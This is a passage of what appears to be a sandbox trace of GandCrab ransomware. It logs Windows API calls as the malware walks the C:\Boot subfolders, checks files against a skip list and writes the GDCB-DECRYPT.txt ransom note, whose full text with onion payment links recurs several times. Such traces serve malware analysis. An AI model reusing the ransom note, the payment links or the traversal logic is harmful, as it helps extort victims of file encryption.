FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.901] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0052.901] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0052.901] lstrcatW (in: lpString1="C:\\Boot\\sl-SI\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\sl-SI\\bootmgr.exe.mui") returned="C:\\Boot\\sl-SI\\bootmgr.exe.mui" [0052.901] lstrlenW (lpString="C:\\Boot\\sl-SI\\bootmgr.exe.mui") returned 29 [0052.901] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0052.901] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0052.902] FindClose (in: hFindFile=0x588b20 | out: hFindFile=0x588b20) returned 1 [0052.902] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.902] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\sl-SI\\\\GDCB-DECRYPT.txt") returned 31 [0052.902] CreateFileW (lpFileName="C:\\Boot\\sl-SI\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\sl-si\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e0 [0052.902] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0052.902] WriteFile (in: hFile=0x4e0, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285f794, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285f794*=0xad6, lpOverlapped=0x0) returned 1 [0052.903] CloseHandle (hObject=0x4e0) returned 1 [0052.903] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.903] lstrlenW (lpString="C:\\Boot\\sl-SI\\") returned 14 [0052.903] lstrcatW (in: lpString1="C:\\Boot\\sl-SI\\", lpString2="*" | out: lpString1="C:\\Boot\\sl-SI\\*") returned="C:\\Boot\\sl-SI\\*" [0052.903] FindFirstFileW (in: lpFileName="C:\\Boot\\sl-SI\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x588de0 [0052.903] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.903] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.903] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.903] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.903] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.903] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0052.903] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0052.903] lstrcatW (in: lpString1="C:\\Boot\\sl-SI\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\sl-SI\\bootmgr.exe.mui") returned="C:\\Boot\\sl-SI\\bootmgr.exe.mui" [0052.903] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.904] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\sl-SI\\bootmgr.exe.mui") returned 29 [0052.904] lstrlenW (lpString="C:\\Boot\\sl-SI\\bootmgr.exe.mui") returned 29 [0052.904] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.904] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.904] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0052.904] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0052.904] lstrcatW (in: lpString1="C:\\Boot\\sl-SI\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\sl-SI\\GDCB-DECRYPT.txt") returned="C:\\Boot\\sl-SI\\GDCB-DECRYPT.txt" [0052.904] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.905] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\sl-SI\\GDCB-DECRYPT.txt") returned 30 [0052.905] lstrlenW (lpString="C:\\Boot\\sl-SI\\GDCB-DECRYPT.txt") returned 30 [0052.905] lstrlenW (lpString="C:\\Boot\\sl-SI\\GDCB-DECRYPT.txt") returned 30 [0052.905] lstrlenW (lpString="C:\\Boot\\sl-SI\\GDCB-DECRYPT.txt") returned 30 [0052.905] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0052.905] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0052.905] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0052.905] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0052.905] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0052.905] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0052.905] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0052.905] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0052.905] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0052.905] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.905] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0052.905] FindClose (in: hFindFile=0x588de0 | out: hFindFile=0x588de0) returned 1 [0052.905] FindNextFileW (in: hFindFile=0x588ce0, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0052.905] lstrcmpW (lpString1="sr-Latn-CS", lpString2=".") returned 1 [0052.905] lstrcmpW (lpString1="sr-Latn-CS", lpString2="..") returned 1 [0052.905] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="sr-Latn-CS" | out: lpString1="C:\\Boot\\sr-Latn-CS") returned="C:\\Boot\\sr-Latn-CS" [0052.905] lstrcatW (in: lpString1="C:\\Boot\\sr-Latn-CS", lpString2="\\" | out: lpString1="C:\\Boot\\sr-Latn-CS\\") returned="C:\\Boot\\sr-Latn-CS\\" [0052.905] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.906] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0052.906] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0052.906] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0052.906] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0052.906] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.906] lstrlenW (lpString="C:\\Boot\\sr-Latn-CS\\") returned 19 [0052.906] lstrcatW (in: lpString1="C:\\Boot\\sr-Latn-CS\\", lpString2="*" | out: lpString1="C:\\Boot\\sr-Latn-CS\\*") returned="C:\\Boot\\sr-Latn-CS\\*" [0052.906] FindFirstFileW (in: lpFileName="C:\\Boot\\sr-Latn-CS\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x588a20 [0052.906] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.906] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.906] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.906] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.906] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.906] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0052.906] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0052.906] lstrcatW (in: lpString1="C:\\Boot\\sr-Latn-CS\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\sr-Latn-CS\\bootmgr.exe.mui") returned="C:\\Boot\\sr-Latn-CS\\bootmgr.exe.mui" [0052.906] lstrlenW (lpString="C:\\Boot\\sr-Latn-CS\\bootmgr.exe.mui") returned 34 [0052.906] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0052.906] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.907] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0052.907] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0052.907] lstrcatW (in: lpString1="C:\\Boot\\sr-Latn-CS\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\sr-Latn-CS\\memtest.exe.mui") returned="C:\\Boot\\sr-Latn-CS\\memtest.exe.mui" [0052.907] lstrlenW (lpString="C:\\Boot\\sr-Latn-CS\\memtest.exe.mui") returned 34 [0052.907] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0052.907] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0052.907] FindClose (in: hFindFile=0x588a20 | out: hFindFile=0x588a20) returned 1 [0052.907] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.907] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\sr-Latn-CS\\\\GDCB-DECRYPT.txt") returned 36 [0052.907] CreateFileW (lpFileName="C:\\Boot\\sr-Latn-CS\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\sr-latn-cs\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e0 [0052.909] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0052.909] WriteFile (in: hFile=0x4e0, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285f794, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285f794*=0xad6, lpOverlapped=0x0) returned 1 [0052.909] CloseHandle (hObject=0x4e0) returned 1 [0052.909] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.910] lstrlenW (lpString="C:\\Boot\\sr-Latn-CS\\") returned 19 [0052.910] lstrcatW (in: lpString1="C:\\Boot\\sr-Latn-CS\\", lpString2="*" | out: lpString1="C:\\Boot\\sr-Latn-CS\\*") returned="C:\\Boot\\sr-Latn-CS\\*" [0052.910] FindFirstFileW (in: lpFileName="C:\\Boot\\sr-Latn-CS\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x588a20 [0052.910] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.910] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.910] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.910] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.910] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.910] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0052.910] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0052.910] lstrcatW (in: lpString1="C:\\Boot\\sr-Latn-CS\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\sr-Latn-CS\\bootmgr.exe.mui") returned="C:\\Boot\\sr-Latn-CS\\bootmgr.exe.mui" [0052.910] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.910] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\sr-Latn-CS\\bootmgr.exe.mui") returned 34 [0052.910] lstrlenW (lpString="C:\\Boot\\sr-Latn-CS\\bootmgr.exe.mui") returned 34 [0052.910] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.911] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.911] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0052.911] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0052.911] lstrcatW (in: lpString1="C:\\Boot\\sr-Latn-CS\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\sr-Latn-CS\\GDCB-DECRYPT.txt") returned="C:\\Boot\\sr-Latn-CS\\GDCB-DECRYPT.txt" [0052.911] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.911] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\sr-Latn-CS\\GDCB-DECRYPT.txt") returned 35 [0052.911] lstrlenW (lpString="C:\\Boot\\sr-Latn-CS\\GDCB-DECRYPT.txt") returned 35 [0052.911] lstrlenW (lpString="C:\\Boot\\sr-Latn-CS\\GDCB-DECRYPT.txt") returned 35 [0052.911] lstrlenW (lpString="C:\\Boot\\sr-Latn-CS\\GDCB-DECRYPT.txt") returned 35 [0052.911] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0052.911] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0052.911] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0052.911] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0052.911] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0052.911] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0052.911] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0052.911] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0052.911] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0052.911] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.912] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.912] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0052.912] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0052.912] lstrcatW (in: lpString1="C:\\Boot\\sr-Latn-CS\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\sr-Latn-CS\\memtest.exe.mui") returned="C:\\Boot\\sr-Latn-CS\\memtest.exe.mui" [0052.912] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.912] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\sr-Latn-CS\\memtest.exe.mui") returned 34 [0052.912] lstrlenW (lpString="C:\\Boot\\sr-Latn-CS\\memtest.exe.mui") returned 34 [0052.912] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.913] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0052.913] FindClose (in: hFindFile=0x588a20 | out: hFindFile=0x588a20) returned 1 [0052.913] FindNextFileW (in: hFindFile=0x588ce0, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0052.913] lstrcmpW (lpString1="sr-Latn-RS", lpString2=".") returned 1 [0052.913] lstrcmpW (lpString1="sr-Latn-RS", lpString2="..") returned 1 [0052.913] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="sr-Latn-RS" | out: lpString1="C:\\Boot\\sr-Latn-RS") returned="C:\\Boot\\sr-Latn-RS" [0052.913] lstrcatW (in: lpString1="C:\\Boot\\sr-Latn-RS", lpString2="\\" | out: lpString1="C:\\Boot\\sr-Latn-RS\\") returned="C:\\Boot\\sr-Latn-RS\\" [0052.913] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.913] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0052.913] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0052.913] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0052.913] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0052.913] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.913] lstrlenW (lpString="C:\\Boot\\sr-Latn-RS\\") returned 19 [0052.913] lstrcatW (in: lpString1="C:\\Boot\\sr-Latn-RS\\", lpString2="*" | out: lpString1="C:\\Boot\\sr-Latn-RS\\*") returned="C:\\Boot\\sr-Latn-RS\\*" [0052.914] FindFirstFileW (in: lpFileName="C:\\Boot\\sr-Latn-RS\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x588ea0 [0052.918] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.918] FindNextFileW (in: hFindFile=0x588ea0, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.918] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.918] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.918] FindNextFileW (in: hFindFile=0x588ea0, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.918] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0052.918] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0052.918] lstrcatW (in: lpString1="C:\\Boot\\sr-Latn-RS\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\sr-Latn-RS\\bootmgr.exe.mui") returned="C:\\Boot\\sr-Latn-RS\\bootmgr.exe.mui" [0052.918] lstrlenW (lpString="C:\\Boot\\sr-Latn-RS\\bootmgr.exe.mui") returned 34 [0052.918] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0052.918] FindNextFileW (in: hFindFile=0x588ea0, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0052.918] FindClose (in: hFindFile=0x588ea0 | out: hFindFile=0x588ea0) returned 1 [0052.918] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.919] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\sr-Latn-RS\\\\GDCB-DECRYPT.txt") returned 36 [0052.919] CreateFileW (lpFileName="C:\\Boot\\sr-Latn-RS\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\sr-latn-rs\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e0 [0052.919] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0052.919] WriteFile (in: hFile=0x4e0, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285f794, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285f794*=0xad6, lpOverlapped=0x0) returned 1 [0052.919] CloseHandle (hObject=0x4e0) returned 1 [0052.920] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.920] lstrlenW (lpString="C:\\Boot\\sr-Latn-RS\\") returned 19 [0052.920] lstrcatW (in: lpString1="C:\\Boot\\sr-Latn-RS\\", lpString2="*" | out: lpString1="C:\\Boot\\sr-Latn-RS\\*") returned="C:\\Boot\\sr-Latn-RS\\*" [0052.920] FindFirstFileW (in: lpFileName="C:\\Boot\\sr-Latn-RS\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x588a60 [0052.920] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.920] FindNextFileW (in: hFindFile=0x588a60, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.920] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.920] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.920] FindNextFileW (in: hFindFile=0x588a60, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.920] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0052.920] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0052.920] lstrcatW (in: lpString1="C:\\Boot\\sr-Latn-RS\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\sr-Latn-RS\\bootmgr.exe.mui") returned="C:\\Boot\\sr-Latn-RS\\bootmgr.exe.mui" [0052.920] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.921] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\sr-Latn-RS\\bootmgr.exe.mui") returned 34 [0052.921] lstrlenW (lpString="C:\\Boot\\sr-Latn-RS\\bootmgr.exe.mui") returned 34 [0052.921] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.921] FindNextFileW (in: hFindFile=0x588a60, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.921] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0052.921] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0052.921] lstrcatW (in: lpString1="C:\\Boot\\sr-Latn-RS\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\sr-Latn-RS\\GDCB-DECRYPT.txt") returned="C:\\Boot\\sr-Latn-RS\\GDCB-DECRYPT.txt" [0052.921] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.921] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\sr-Latn-RS\\GDCB-DECRYPT.txt") returned 35 [0052.922] lstrlenW (lpString="C:\\Boot\\sr-Latn-RS\\GDCB-DECRYPT.txt") returned 35 [0052.922] lstrlenW (lpString="C:\\Boot\\sr-Latn-RS\\GDCB-DECRYPT.txt") returned 35 [0052.922] lstrlenW (lpString="C:\\Boot\\sr-Latn-RS\\GDCB-DECRYPT.txt") returned 35 [0052.922] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0052.922] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0052.922] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0052.922] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0052.922] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0052.922] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0052.922] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0052.922] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0052.922] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0052.922] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.922] FindNextFileW (in: hFindFile=0x588a60, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0052.922] FindClose (in: hFindFile=0x588a60 | out: hFindFile=0x588a60) returned 1 [0052.922] FindNextFileW (in: hFindFile=0x588ce0, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0052.922] lstrcmpW (lpString1="sv-SE", lpString2=".") returned 1 [0052.922] lstrcmpW (lpString1="sv-SE", lpString2="..") returned 1 [0052.922] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="sv-SE" | out: lpString1="C:\\Boot\\sv-SE") 